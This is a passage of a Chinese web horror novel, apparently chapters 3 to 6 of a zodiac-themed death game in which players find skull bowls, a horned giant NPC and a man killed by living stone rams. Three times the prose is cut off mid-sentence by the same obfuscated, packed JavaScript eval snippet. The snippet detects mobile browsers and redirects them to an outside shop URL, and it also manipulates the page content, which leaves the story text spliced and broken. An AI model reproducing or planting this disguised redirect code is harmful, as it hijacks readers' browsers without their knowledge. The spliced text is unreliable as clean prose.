斗羊大赛(3) 距离太阳落山还有一段时间,春风依然暖洋洋的,小草微微摇动。 玩家们努力忘记刚才触目惊心的死亡事件,享受着虚假平静。 云真真躺在草地上,眯起眼观察其他玩家。 大块头始终处于亢奋状态,骑在石羊上摆出各种骑马英姿,嘴里“吁、驾”乱叫。 又自大又愚蠢又天真。 王制片训斥着一同进入游戏的小助理,不时向云真真这边指指点点。 又坏又秃又阴。 丁卯在石羊周围转来转去,时不时摸一下、闻一闻,观察测量,写写画画碎碎念。 又龟毛又认真又神经。 卷发女生和男朋友躲在一只石羊后面说着悄悄话。 至于她…… 嫩绿的草芽透过白色连衣裙抚摸着云真真的脊背,胸口的彼岸花格外鲜红,她感受到一丝惬意。 “真真妹子,想什么呢?”金乐儿咕咚一声躺下来,手肘轻轻碰碰云真真,“我刚才挨个查看了石羊,跟我猜得一样,我们那两只确实是极品……” 啥?随时都要掉脑袋的游戏里,身边那个女鬼装扮的女孩,睫毛低垂,呼吸均匀,坟头花在胸口有节奏地一起一伏。居然睡着了? 在这又温暖又怪异的环境里,云真真陷入浅层睡眠。 现实中她是失眠大户。起初是为了赚钱,不得不熬夜做各种工作。久熬成精,熬着熬着,差点彻底戒掉了睡觉这个坏毛病。 实际上她依然处于警觉之中。即使闭上眼睛,脑子里的赚钱计划、游戏的种种细节如同无数条缠人的丝线,一团团、一缕缕、一条条,横七竖八交织杂糅在一起,一直搅动着脑花儿。 “起床咯起床咯!天黑之后大灰狼要来吃小孩啦!”金乐儿静静坐了一会儿后叫醒了她。 “我睡了多久?”云真真伸出手揉着眼睛,作出一幅睡眼惺忪的模样,眼影晕开成了熊猫眼儿。 金乐儿算是通过了本次测试,不仅天黑之前叫醒她,之前还赶走了鬼鬼祟祟的王制片。 可暂时列入“盟友”一栏。 “这也没表,但是太阳已经开始往那边沉下去了。”金乐儿指指在地平线上方的太阳,“其他人都去帐篷区了,我看你睡得香,没忍心叫醒你。你不知道,你睡着这段时间,可精彩了……” 云真真慢慢起身,两人在夕阳下朝着不远处的草地帐篷区走去。 “可能是受副本影响,我才睡着了?丁卯分析过,不同星座的人,受副本影响不一样。”云真真低头走着,时不时避开脚下的小野花。“如果天黑之前我没醒,你就不声不响地少了一个竞争对手。” “说什么呢!我可没那么缺德,像那个恶心的什么导演一样,还专门来告诉我不要叫你起来……”金乐儿义愤填膺,“都这样了你还能睡着,不简单啊不简单。再说,我俩一开始就遇到了,那就是缘分,当时我就直觉你是个好人……” 金乐儿话匣子一开,豆子噼里啪啦往外蹦:云真真假寐间,白深远离人群,依然在儿童游乐区枯坐,始终没有绑定斗羊。大块头趁此机会,打起了无主石羊的主意,先是徒手掰角,又用石头、木棍等能捡到的一切硬东砸、敲,始终没有成功。 玩家的表现还没讲完,两人已经赶到帐篷区。一块不大的草坪上,挤挤挨挨扎着五顶白色帐篷。 其他玩家已经围坐在帐篷外,默默等着天黑、盘算着未知,说着不痛不痒的话题。 毕竟,这大概率是个竞争的游戏。建立起情感会很难办。 “害!还说是白羊座副本。任务啊、条件啊藏着掖着,挤牙膏似的,一点也不爽快。”金乐儿在人群中间大咧咧地一屁股坐下。 “你懂星座啊?”丁卯看过来,“交流交流,我看有啥能补充进笔记的。” “害!这说来话长,我打小就有个疑问,为啥我妈动不动就往死里锤我。后来上网去查,你猜怎么着,因为她是个白羊座,天生暴脾气、急性子、热衷于打人……” 大家轻声笑了起来。云真真小声问他:“那你就信了啊?” “不信还能咋办?还不如相信她天生就那样,这样自己好过点。”金乐儿自嘲地挠挠头。 这类人,很容易快乐吧。随便找个理由便轻易放过别人,到底是幸运还是不幸呢?云真真思索的同时,觉察到有一道目光射向自己。 收回心神,抬头对上视线,是冷脸少爷白深。 她带着试探看向他的眼睛,试图找到一些意图和线索。 心理学的书籍上写过,一个人说谎的技巧再高,眼神也很难骗人。 然而白深的眸色虽深,却很坦然。没有丝毫窥探、蔑视或者其他的意味。 等等?他的目光在……向下移动?似乎停留在脖子以下腰以上——胸前的部分。 呵,不要指望乌鸦会有白色的。 “斗羊人们,很听话嘛!”巨人洪亮低沉的声音由远及近,草坪随着他的脚步声震颤着。 此刻,太阳已经没入地平线。巨人在残留的一点亮光中大步走来,像一辆不断推进的重型坦克。在逆光中,模糊看到他手里托着一个巨大的圆盘。 “太阳一下山,温度降得也太快了吧,总觉得阴森森的,……”在一片不祥的预感之中,有人开了口。 “据我研究的368本无限流小说中,有90%以上的概率,入夜后会发生死亡事件。”丁卯刷刷翻着笔记本。 “但是……白天已经有人死了啊。”卷发女孩声音很温柔,经验似乎也有一些,“24小时之内一般只会死一个人。哦,我是听我男朋友说的。” “罕见的是这个NPC还拿走了尸体,”丁卯摇摇头,“前几个副本中没有这种情况。人死了都是我们埋的……” “他拖走了……尸体,带着厨师帽,要给我们做饭……”中学生模样的锅盖头少年咽了口口水。 玩家正在胡乱脑补时,巨人已经满脸微笑地走近,手里端的居然是个木质的大圆桌桌面。十一个圆形餐盘陈列其上,都扣着密不透风的不锈钢盖子,闪烁着寒光。 “来来来,吃饱了才好干活!”巨人把桌面随意甩在地上,挑衅地怂恿着玩家们,“怎么,饭都不敢吃?” 玩家们陷入老人尸体与这顿饭的联想之中,没有人敢率先行动,耳边静得只剩风声。 “理论上来讲,我们应该吃饭的。”丁卯嘴上头头是道,身体却焊在原地,“不吃东西能熬几天?有的副本里就有玩家饿死、饿死的……” 云真真清晰地感觉到胃里一阵空虚抽搐,她饿了。 在现实世界中,她好像一台无情的赚钱机器,拼命旋转运作,几乎感觉不到饿、困等基本生理需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284375|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求。 进入星座游戏之后,这些属于人类的功能反而慢慢复苏了。 在饥饿的驱使和一番分析推测的作用下,云真真弯下腰,率先取了一个餐盘,掀开盖子。 没有想象中扑面而来的腥臭和满目赤红的菜品。 这是……蔬菜沙拉? 众人的目光一起聚焦在盘子里,云真真顺势用筷子扒拉了一遍,只有绿色的、生的,像是树叶和草形状的植物。 “敢第一个吃螃蟹的人值得嘉奖!”巨人赞许地看着云真真,又看向白深——他几乎和云真真同时打开餐盘,此刻嘴里正叼着一片叶子。 巨人从口袋里掏出两个铁皮小罐,分别扔向两人,“怎么能没有沙拉酱呢!拿着,这是勇敢者的奖励之一!还有,所有斗羊人吃完饭之后,你俩负责把餐具给我送回来,一个都不能少。我就住在那栋小白楼里面。有一个惊喜大奖等着你们……” “等等,斗羊具体规则是啥呀?”丁卯再次喊住掉头准备走的巨人。 巨人侧过脸,空洞的眼眶里染上一层若有似无的红色,面孔一片阴霾:“又是你,婆婆妈妈!按照游戏流程,规则明早会公布。但是……一会儿送餐具的两个人将会提前知道。他们勇敢者,而你是懦夫!” 巨人毫不遮掩恶意,戏谑地环视全体玩家后扬长而去。 气氛骤然变得古怪了。巨人有意抛下一颗“争斗”的种子,玩家们不出意外地开始浇灌。 有的抢着捡树枝树叶生起篝火,怕云真真冷。有的直接用武力威胁,王制片则是开骂。 “那个女鬼!”王制片指着云真真,“你一个破群演,提前知道规则也没鸟用,回来赶紧把消息告诉我。别忘了,就是因为你,老子才进入这个破游戏……” 云真真翻了个白眼儿,在暖和的篝火前低下头继续嚼着菜叶子。 不好吃!像是在吃草,又硬又冷,扎得口腔壁生痛。 思量一会儿,她打开巨人扔来的沙拉酱小罐子,微微皱眉顿了一下——里面装着赤红色、粘稠的半流动液体。 “哎呀,怎么一股铁锈味?”金乐儿像狗一样抽着鼻子到处闻。 “有人的脑子生锈,一直乱骂人。”云真真冷静地把罐子盖上,却也感觉到那股杀猪现场般地腥味儿挥之不去,越来越黏腻、越来越厚重。 目光移动到白深碗里——他把通红的无名液体倒在了碗中,吃得很香。 “哥哥,游戏一开始我就觉得你最强。”卷发女孩和她男朋友围住白深,“一会儿知道了规则,可以分享出来让大家一起想办法吗!” 白深没有答话,仰着头端起碗呼噜呼噜把蔬菜沙拉刨光了。 “什么味道……”卷发女孩突然捂住嘴,干呕了几声。 “你们的番茄酱有问题!”大块头胸有成竹,“红色的那么恶心,明明就是血,那老头子的。刚才谁想当大慈大悲菩萨来着,这会儿又喝上血了……” “不过就是普通的番茄酱。”白深目光扫视全场,大部分人已经吃得见底了。 “是碗。”云真真双手捧起惨白色的碗,与惨白色的脸交相辉映。 众目睽睽之下,她将碗靠近点燃的篝火,红色火光闪动着,明明暗暗映在有凸起、有凹陷的碗上。 明显是倒扣着的,属于某种灵长类动物的半个头盖骨。 5. 斗羊大赛(4) “碗”顷刻间被丢在地上,在玩家们的惊叫声中咕噜咕噜满地乱滚。 丁卯一边干呕,一边坚强地借着火光记笔记、碎碎念:“白羊座副本……和头部有关,盛饭容器为头骨……呕……” 白深冷脸皱眉,追着满地乱跑的“碗”捡起来,一只、两只……。 云真真边默默观察他的敏捷身手,边数着他手里越叠越高的碗。 一直叠到9个,她才放下心来。巨人说过送回餐具的关键【规则】:一个都不能少。 为了显示自己也不是吃干饭的,云真真轻飘飘捡起地上最后一个碗,半真半假地吓唬它的主人金乐儿:“丢那么远干什么,万一找不到少了一个,只能用你的头补上了……” “我只能说……你本人,和你的妆造……越来越合拍了。”金乐儿反复摸着自己的头顶。 年龄最小的初中生听到两人诡异的对话后,小声抽泣起来。正青春期的男孩儿,虽然努力克制了,却也难免发出小猪的哼哼声。 “别哭了,一定给你安全送到。”云真真轻拍他的头,“你的头,就好好留在脖子上吧。” “我……我作业还没写完呢,我想回家写作业……”被死亡阴影笼罩的时候,男孩选择了学习。 白深瞥了一眼小男孩,扬起下巴指向云真真,又用下颌骨指向小白楼的方向,示意云真真跟他一起去送碗。 颐指气使的具象化。脖子怎么不给你扭断呢! 云真真心里吐槽着,身体却诚实地靠了过去,顺势把自己手里的两只碗摞在白深怀里。 两人一言不发,只听见脚下小草被踩踏的“哗哗”声。 “对于这些……碗,你有什么看法?”云真真打破沉默。对于强者,该低头就低头,该套话就套话。 “挺臭。”白深的脸和碗一样。 小白楼本是公园管理处,云真真并不陌生。毕竟大羊公园里处处留下了她打工的倩影:搔首弄姿拍平面照、指导老年走秀团、带领小朋友辨认植物…… 小白楼建筑面积不大,只有三间屋子:一间朝北的办公室,以及对门一间朝南的活动室和卫生间。 平日里,活动室是“夕阳红”老年合唱团的排练基地,里面经常传出高亢嘹亮、带着方言口味的歌声。 此时,传出的声音却让人浑身不舒服:浑厚有力的斧头剁菜板声、滋滋的高频电钻声以及尖利刺耳的电锯切割声。像敬业的深夜装修队正在摸黑作业。 “我去侦查一下。你在这里等。”白深眼神陡然锐利,进入警惕状态。 “碗交给我。”云真真看似体贴,实则动了小心思:万一他……我还有全部的碗,一个都不少。 白深用下颌骨示意云真真躲到梧桐树后面,弯腰潜行,三步两步便溜到活动室窗户正下方蹲好。 “咚!”砍刀重重地截断骨头。“滋滋……”不知名的坚硬物体被锯为两半。 借着微弱的月光,云真真见白深慢慢直起身来,头部的影子映在窗户上。 突然,一切噪音戛然而止。云真真的心提到嗓子眼,脑海里不由播放起德州电锯的电影。 经历短短几秒令人窒息的寂静,窗子“哐当”一声被重重推开。白深以闪电般的速度缩回窗下。 巨人硕大的头颅横在窗户之上,投下一片阴影。云真真看不到白深的处境。 在咚咚心跳声和惨淡月光中,云真真清晰捕捉到巨人那一双赤红而呆板的双眼。白天时明明是黑洞,夜晚却化作激光。 轮廓显然也和白天不一样——没有戴那顶半永久厨师帽。 他一直戴着高帽子,并不像其他玩家猜测的那样,为了掩盖自己的秃顶。 而是藏住头顶那两只卷曲坚硬的羊角。 即使隔了一段距离,云真真也真切感受到两只角的强烈攻击性。 “啊……最讨厌偷偷摸摸。”巨人自言自语着,瞪着激光一般的红眼扫视前方,又环顾左右两侧,最终低头向下看去。 看样子他要交待在这里了。云真真屏住呼吸。 窗子重重关上,装修队的噪音再次响起。 没发现?冷脸少爷人呢?云真真松了口气,瞪圆双眼,始终没找到他的身影。 直到眼睛瞪得生疼,甚至独自送碗的方案已经在肚子里初步成型之时,一条信息呼出了云真真的个人面板。 【3号玩家白深希望与您共享星座道具信息,是否同意查看?】 毫不犹豫选择“是”。道具?太有趣了! 【星座道具:新月斗篷】 【作用:盖在头上时,可利用新月的力量暂时隐身一小会儿。 只可使用一次,只能在黑夜时使用,且使用期间不能移动。 巨蟹座喜欢躲在黑暗中舔舐伤口哦!】 【来源:巨蟹座副本5】 【状态:3号玩家白深——使用中】 “在黑暗中舔舐伤口”?谁设计的说明,还挺俏皮。不过这种自怜自艾的行为,还是算了吧。 隐身“一小会儿”又是多久?正猜测着,只见白深狭长的身影朝着自己奔过来。 “把碗再点一遍,准备出发。”白深闪进树后。 “你刚才分享的道具,是游戏里爆的吧?出去以后能不能卖钱?”云真真眼睛闪闪发亮。 白深错愕了一瞬,恢复冷脸回答:“可以,价值不菲。但你现在应该关心的不是这个吧?你刚才,没有看到什么?” 云真真迫切想得到关于道具赚钱的更多信息,便大方拿出想法交换:“那巨人,是只巨型斗羊。吃草、性格暴躁是已知信息。你想去确认的,就是他到底有没有那两只羊角吧。你再跟我详细说说,道具可以在哪里交易?市价怎么定?……” “还有一点,”白深打断她的话,语气缓和了一些,目光集中在她的胸口,“刚才我披着新月斗篷,和他几乎脸贴脸,看到了一个重要信息:两只羊角上各有一个洞。” “他没事给自己打洞干什么?着急当斗羊啊?”云真真联想到装修队的噪音。 “恰恰相反。不是在打洞,他应该是在……填洞。”白深似乎还有些话没说出口。 云真真沉浸在能赚钱的喜悦里,主动抱起“碗”来到小白楼的正门敲门。 白羊座喜欢直截了当,讨厌走后门。 开门时,那顶厨师高帽又重新回到了巨人头顶。 “呀……主理人,你的头在滴血……”云真真夸张地捂住嘴巴,盯着洁白帽子上殷红的点点血痕。 巨人阴沉着脸,声音又慢又沉,伴着咯、咯的磨牙声:“头……受伤了,药不起作用。得尽快换一个……” “餐碗……放在这里了。你清点一下,一个也不少。”云真真见巨人的眼中开始泛起一浪一浪的红光,空气又开始炽热起来,生怕巨人把她当成新药,想尽快溜走。 “请提前告诉我们斗羊规则。”白深没有忘记最重要的事。 “一对一斗羊擂……台……赛。胜者获得羊角。”巨人捂住不断向外渗血的帽子,眼中赤红像在燃烧,声音也开始含混不清,血腥气味逐渐浓稠。 云真真被屠宰场一般的气氛熏染得头痛欲裂,似乎有无数只活泼的野山羊在脑袋里跳跃,不断撞击着血管壁、头骨与头皮。 白深察觉到她有些异样,没等听完后面的规则,就扯起她的袖口退了出去。 户外的空气湿润寒冷,云真真大口呼吸了好一会儿才缓了过来。 “那房子里,空气都不对劲。你面不改色,是不是又用了隐藏道具?比如形成一堵空气墙啦,空间转换之类的。这种道具值多少钱,怎么获得?”她弯腰揉着太阳穴,又把话题拉回道具上。 “想象力够丰富。我只是善于忍耐。”白深皱着眉头,显然不耐烦了。 “哦。善于忍耐,善于等待,你若盛开,蝴蝶自来……你当我们村刚通网?”云真真显然不信。在金钱的指引下,她故意用阴阳怪气来PUA公子哥。 白深并没有像以往同类型的公子哥那样中招,着急自证或一不小心说出实话。两人在沉默中走了半程,只好将话题重新拉回斗羊比赛规则上。 擂台赛……意味着成功的擂主只有一个。也就是说……爆出的道具归一人所有! 也许是受到白羊座特质影响,竞争的心在云真真胸中熊熊燃烧起来。 “我有一个推断。”白深停下脚步。 “活到最后的只有你一个?”挖苦一刻也不能停。 白深一脸严肃:“我说过,让全部人活下来。刚才是你没坚持住,不然我就能把规则听完。” “你没看出巨人是故意的?小白楼里奇怪的磁场就是在劝退我们!他在那里忙着搞龌龊事呢。头上渗出的血,不是他的吧?”云真真说着说着,突然惊讶地发现,这里的确和现实中不同,一向谨慎的自己居然中了“激将法”。 不如索性说完所有的话:“一开始羊少人多,后来又说我俩有优先权,明摆着是在励玩家内斗。他才没那么好心,真愿意提前告知我们全部规则。” 白深似笑非笑:“无论如何,都有全员通关的办法。” 你还真是个面冷心热的大善人啊?云真真不附和、不反对、不赞同,心中却涌出两句诗“世间安得双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284376|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全法,不负如来不负卿”。 白羊宫是黄道十二星座中的第一宫,象征着自我的诞生。也许这个游戏,本意就是要玩家们为自己的利益斗争到底。 回到营地,其他玩家围坐在篝火旁,没有一个人进入帐篷休息。 终于盼回两人,大家一拥而上,用尽手段试图从两人嘴里套出规则。 “巨人只讲了一部分规则,目的是在玩家之间引起混乱,我不会说。”面对大块头的武力威胁,白深坦诚拒绝地很干脆,并捏响了手指关节表示我也不是吃素的。 “谁信啊,你这就是自私自利,小人一个!啊不,两个……” “就是,故意不告诉大家,就是想先机占尽、偷偷研究吧……” 篝火跳跃着,似乎在充分释放白羊座的“好斗”能量。那一半的规则说或不说,玩家们都不会满意。 “小羊们~不对,斗羊人们,”公共面板突然在空中亮起,巨人的脸赫然出现在屏幕上,“已经很晚了,你们要进入帐篷休息哟。记住,五分钟之内务必进入帐篷!明天太阳升起来之前可千万不能出来!嘿嘿嘿……” 针对云真真和白深的讨伐戛然而止,玩家们慌慌张张地看向帐篷。这显然又是一条必须遵守的【规则】。 惜命的王制片率先扯着小助理进入其中一间,甚至没来得及捡回跑掉的一只鞋。 五顶帐篷一样大,都是双人帐篷。目前玩家有11人。 又是一个资源分配问题。 金乐儿反应很快:“还剩4顶帐篷,那位美女和你男朋友一顶,爱写作业的小孩和这位阿姨一顶,肌肉大哥就和科学家一顶,我和真真妹子一顶,剩下那个领导,你自己选。” 时间紧迫,玩家们来不及细想便表示认同,三步并作两步跑进帐篷。 只有丁卯清了清嗓子,一丝不苟地说:“再说一次,我是社会学家,研究员……”和他莫名被分在一起的大块头骂了句脏话。 “真真妹子,你要方便不?一夜不能出来,我先去啊……”金乐儿朝帐篷区后方小跑着,又指指剩下的那顶,“不去的话就赶紧进帐篷!” 吹着口哨回到帐篷,金乐儿心里美滋滋的。像自己这种没文化没出身的适龄青年,终于有机会接触层次高一些的女孩了!即使是做朋友,也显得蓬荜生辉。 不料一掀开帐篷门,心情骤然结冰。 除了娇小玲珑、胆子贼大的真真妹子,白深也蜷着腿坐在帐篷里。 拿什么竞争呢?就连腿都比别人短一截。 “三个人,多少有点挤。”金乐儿讪讪的。 “你们两个躺下睡,我坐着。”白深一示好,金乐儿马上又心软起来,连连说三个人都躺下也可以,但他得睡在中间。 云真真紧贴着帐篷边躺下,帆布材质经衣料摩擦发出沙沙声。金乐儿也在旁边发出了微微鼾声。直到意识陷入模糊那一刻,白深依然蜷着腿坐在原地。 “什么声音?”不知睡了多久,云真真被怪异的声音惊醒,猛然坐起来。 咚、咚、咚,踢踏、踢踏……似乎处于冷兵器时代的战场,敌军的万马奔腾正踏破自己的营地。 “睡眠挺好啊。”金乐儿双手放在后脑勺仰面躺着,“哥都被吵醒好一会儿了。你听,这蹄子声,跺地多有力道,是只好羊!啧啧,这轰一声,又闷又厚,就是两只斗羊的头撞击了……” “你懂斗羊?”白深依然保持着坐姿,像一尊不会腿麻的雕塑。 金乐儿嘿嘿一笑,“实话告诉你,哥老家是梁山县的。斗羊是我们县的传统习俗,每年都举办。我跟着我爸参加过很多次,说起那个斗羊大会……” 云真真无语地闭起双眼。 谁问你了? 知道你在游戏中掌握有利信息的,我一个人就够了。 不然你有什么自信,让我和你呆在同一顶帐篷里…… 突然,一声闷闷的嚎叫划破耳膜,似乎是个男人。紧接着,是硬物被敲碎、踏裂的瘆人声。 一切重归死寂。 “出事了。”白深皱起双眉,“呆在帐篷里不外出这个【规则】,不难遵守才对。为什么……” 云真真和其他玩家一样,猜测着外面的情况、出事的人是谁,不由得脑补出一些色彩饱和的画面。 猜疑与不安中,终于熬到太阳升起,大家纷纷铁青遮脸,挂着熊猫眼涌出帐篷。 一个勉强能称之为人的东西呈大字型横在营地中央,四肢完好,头部却已经辨认不出形状。 只剩下白花花、红通通和深褐色交织在一起的粘稠混合物,泼洒在碧绿的草地上。 6. 斗羊大赛(5) 玩家们陷入集体沉默。恐惧、猜测、怀疑、恶心、愤怒等一系列情绪交织在清晨的风中弥漫打转。 白深和丁卯离尸体最近,观察全貌、研究细节,仿佛在对待一块石头、一朵花。 卷发女孩跪坐在地上,双眼空洞,浑身发抖。 “这是你男朋友吧?”丁卯合上笔记本,指指地下那一滩,“你的心情能理解。请如实说一下昨天晚上的情况,给大家作个参考,我这边也好分析记录……” “哇靠,你是人还是AI!”大块头喷起丁卯,“活生生的一个男朋友碎成一地渣渣,你让人家一个弱女子怎么说。” “事实是事实,感情是感情。”丁卯语气平和且学术,“打个比方。昨晚你彻夜打呼噜、让我难以入睡是事实,我因此讨厌你是情感……” 大块头急火攻心,红着眼睛扬起拳头打人,被其他玩家连连拉住。 丁卯毫不在意,充满“打人不打读书人”的自信。 “大家别吵了……丁老师说得对……我愿意跟大家分享。”卷发女孩很善解人意。 “我叫朱柔,地上躺着的人……叫王风……是我男朋友。昨天晚上,我们在帐篷里安静地躺着,突然听到外面非常吵。接着,一只羊的影子投在了帐篷壁上。它晃动着一对羊角,一直不肯走。王风盯着影子,像是被下蛊了一样,非要出去割掉羊角,提前通关游戏……” “我使劲求他,拼命拉也没拉住……”女孩开始带上哭腔。 “这么说来,昨晚在外面跑动的的确是羊。”丁卯沙沙写着,“那么问题来了,这些羊是哪里来的呢……” “是那些石羊雕塑。”白深从石羊广场的方向走回来,“我去查看过,雕塑改变了位置和形态。其中一只的头……碎掉了。” 玩家们摸着自己的脖子、脸颊,喉咙一阵阵发紧,像被缰绳扼住一般呼吸困难。 自己的命运和石羊的命运果然有着某种关联。 “哟,早上好,斗羊人们!”巨人清气爽地拖着圆桌面走来。 “哎呀呀,可惜了!”他叹着气,又伸出一只脚挑拣着王风不成型的“头部”,“碎得干干净净!你们这批斗羊人不行,一点也用不上……算了,先吃早饭,饭后正式公布斗羊规则。” 大清早就经受视觉、嗅觉的一番冲击,玩家们食欲全无,没人愿意拿起那些“餐碗”。云真真除外。 “你说这巨人怪不怪,明明吃素,餐具却是荤的。”云真真捧着碗,嚼起毫无味道的叶子。 “你……”金乐儿一时间不知道该说什么。不愿服输的心促使他拈起兰花手,夹起一只碗来。 “怎么,没胃口?游戏规定,只有吃过饭才能公布规则。”巨人幸灾乐祸地俯视玩家们,“要不给你们看点佐餐片子?” “算了算了,看了更吃不下,连函数图怎么画都忘了。”中学生赶紧端起碗,顺便好心拿了一个递给昨晚同住的妇人。 “还是看吧,很精彩呢!”巨人不怀好意地笑着。 公共大屏幕亮了起来。 帐篷内一片漆黑,随后亮起微微的光。 王风背对着帐篷门侧躺,怀里抱着朱柔。 “这是……昨天晚上的……”朱柔突然站起来,脸色青白,声音低沉,“停下来,这是隐私……” “我检查过了,没有少儿不宜的内容。”巨人挤挤眼睛,哈哈大笑。 公共屏幕中,王风抚摸着朱柔的头发,似乎在安慰她别害怕。 羊头的影子映在帐篷布上,两只羊角晃动着,分外壮硕,似乎在跳一支热情欢快的舞蹈。 朱柔面对着帐篷门,视线绕过王风的肩膀,直勾勾盯着两只晃动的羊角,眼里闪过一阵阵红光。羊角左摇右晃,散发出诱人的光,越看越像胜利的号角。 她终于忍不住,把王风推起来:“快看,它呆了很久都没有走!只要割下它的角,我们就能提前通关游戏!这破地方,我一刻也不想呆下去了!” “别怕,它不敢进来,我会保护你。别忘了,NPC强调过,夜里不能出帐篷。这一定是【规则】。”王风将朱柔搂得更紧了。 那对羊角却在朱柔的瞳孔中一直晃动、晃动着,不肯离去。 “我……我想上厕所。”过了不知多久,朱柔坐起身来。羊的影子已经开始变淡,外面奔跑的声音也在渐渐减弱。 “再忍一会儿,天就亮了……”王风闭着眼睛,半梦半醒地说,“要不你就在帐篷里解决。” “天已经亮了,你陪我出去嘛!”朱柔说着,迅速拉开半边帐篷门,羊头的影子已经淡到几乎看不见了。 王风迷迷糊糊坐起来,打着哈欠,率先将半个身子探出帐篷。 安静的空气瞬间爆炸。四面八方响起羊蹄踏在地上的奔跑声,纷乱急促,越来越近、越来越响。王风惨叫一声,大半身横在帐篷外,只剩一只脚留在帐篷里。 “王风,站起来,快站起来!你是个男人,看看羊角能不能割掉……”朱柔躲在帐篷里叫喊着,却没能得到回应。 半开的帐篷门中,朱柔瞥见了点点凌厉的红光。那来自斗羊的眼睛。 她心下一惊,双手抓起王风的右脚用力推,王风彻底离开了帐篷。 公共屏幕消失了。玩家们面面相觑,刚才还在安慰朱柔的妇人默默走到离她最远的地方。 “这不是真的!是合成的,用AI技术合成的!!!”朱柔疯狂摇着头。 “白羊座可不屑于来阴的。”巨人掰下树杈再次拨弄王风的“头”,“可惜,实在太可惜了……没有新碗,你们就饿肚子吧!” 大家纷纷埋头吃饭,隔阂再深一层。 巨人难以掩饰得意之色:“现在公布斗羊比赛规则,太长,我懒得念,你们自己看公屏。” 【规则一:斗羊比赛采用一对一擂台挑战模式。出场顺序由抽签决定。举例:序号为1的人为擂主,2号上台挑战,输方现场割下羊角给赢方。赢方成为新擂主,3号上台挑战,直到所有斗羊人都比赛结束。 一方的斗羊在比赛中逃跑或倒地不起即为落败。两只羊同时倒地的,先站起来一方获胜。战败后被割下羊角的羊即为无角羊。 规则二:每位玩家须至少参赛一次。 规则三:最后一位擂主必须接受一名无角羊玩家的挑战一次。 规则四:游戏主理人将参加此场比赛。 规则五:只有获得除自己绑定羊之外的羊角才可通关。】 “斗羊比赛嘛,不稀罕,不少村子都有这个传统。但你这羊是石羊,怎么斗啊?”金乐儿摊开手。 巨人扬起大手,把一根粗麻缰绳甩向金乐儿:“把缰绳穿过石羊角上的洞,即为【激活】,玩家可以训练斗羊。把羊牵回广场,解下缰绳,即为【回归】,斗羊重新变回石雕。” “一共9根缰绳。每人一根,只能用于自己绑定的羊。”巨人瞥了一眼白深,“至于你,斗羊都没有,还要缰绳干什么?你,和那个女的,负责把餐具送回来。” 离开之前,又盯着地上的王风连连叹气:“今天没有新餐具可以用……你们要么制造新餐具出来,要么就饿肚子。冬天嘛,草场也很荒芜。” 巨人走远了,金乐儿指指地上的王风:“这NPC有毛病,昨天管收今天甩手。我们先把他埋了吧。” “这个人,他收回去又用不了。”云真真指着自己的头颅,又作出端碗吃饭的样子。 “唉!做餐具的材料多了,非要用人……那句诗怎么说来着,煮豆燃豆萁……”金乐儿开始寻觅挖坑的地点。 “他可能不只用来做餐具。”云真真双手抱胸。 几名玩家选了一块开满淡紫色小野花的地面,挖起坑来。王制片和大块头两人,拿着缰绳走向石羊广场。 朱柔跪坐在王风旁边,声嘶力竭、痛哭流涕地喊冤。 丁卯敲着笔记本,眼镜反射着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284377|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智慧光:“理性上讲,放录像这件事,有可能是巨人的诡计。但是呢,不能证实也不能证伪,你不如帮忙挖挖坑,别在那里哭了,难听……” 下葬之后,所有玩家都来到广场【激活】了小羊。 云真真刚把缰绳穿过羊角,小花羊就摇摇脑袋、摆摆尾巴,活了过来。 广场顿时化身活羊交易市场:咩咩叫声环绕,白的、黑的、花的小羊拖着圆圆的肥尾巴窜动着。 初中生轻抚纯白色小羊的头,难得露出一抹微笑。老妇人绑定的是只体型中等的黑羊,精神抖擞。 最显眼的是大块头的斗羊。所有羊中,他的羊不仅体型最大,还拥有一对大红色的锋利羊角。走动起来,羊角晃动着,闪着血光。 大块头昂首挺胸,牵着红角羊绕着石羊广场走了几圈,得意之情溢于言表。收获其他玩家的羡慕惊叹,他才心满意足地站在王制片身边,嘲笑起他那只骨瘦嶙峋的黑脸羊。 金乐儿拥有一些钝感力,却也注意到大块头和王制片不怀好意地瞟向云真真和自己这边:“看个屁!” 云真真训练着活泼的小花羊,悄声说:“别理他们。你再给我讲讲还有那些斗羊技巧,刚才说的基本掌握了……” 广场上还剩下孤零零的一只石羊。人群中唯独少了白深一个。他正站在公屏前,对着规则沉思,像一根挺拔的高压电线杆。 他从规则中悟出了什么我没想到的?云真真飞速思索着。 之前,她就从金乐儿那嘴里得知现实中的斗羊规则,与刚公布的规则十分类似。 